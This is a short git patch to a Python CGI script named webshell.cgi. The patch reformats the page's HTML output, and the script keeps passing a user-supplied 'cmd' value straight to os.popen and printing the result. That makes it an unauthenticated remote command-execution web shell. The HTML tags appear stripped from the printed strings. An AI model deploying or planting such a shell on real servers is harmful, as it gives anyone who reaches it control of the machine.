From 86cdac0f22d7b80d7953f14d1b9b7556dc74a32c Mon Sep 17 00:00:00 2001
From: jerome
Date: Tue, 26 Dec 2023 17:02:11 +0100
Subject: update webshell
---
html/cgi-bin/webshell.cgi | 17 +++++++++--------
1 file changed, 9 insertions(+), 8 deletions(-)
(limited to 'html')
diff --git a/html/cgi-bin/webshell.cgi b/html/cgi-bin/webshell.cgi
index 0ef300b..ba8cecd 100755
--- a/html/cgi-bin/webshell.cgi
+++ b/html/cgi-bin/webshell.cgi
@@ -18,19 +18,20 @@ print ("""
Web shell
-Votre commande :
""")
+
+print("
Votre commande : ")
if cmd : print(cmd)
+print("
")
+
print("""
-
""")
-if cmd :
- print("")
- print(os.popen(cmd).read())
- print("")
+
+if cmd : print("",os.popen(cmd).read(),"
")
print("""
-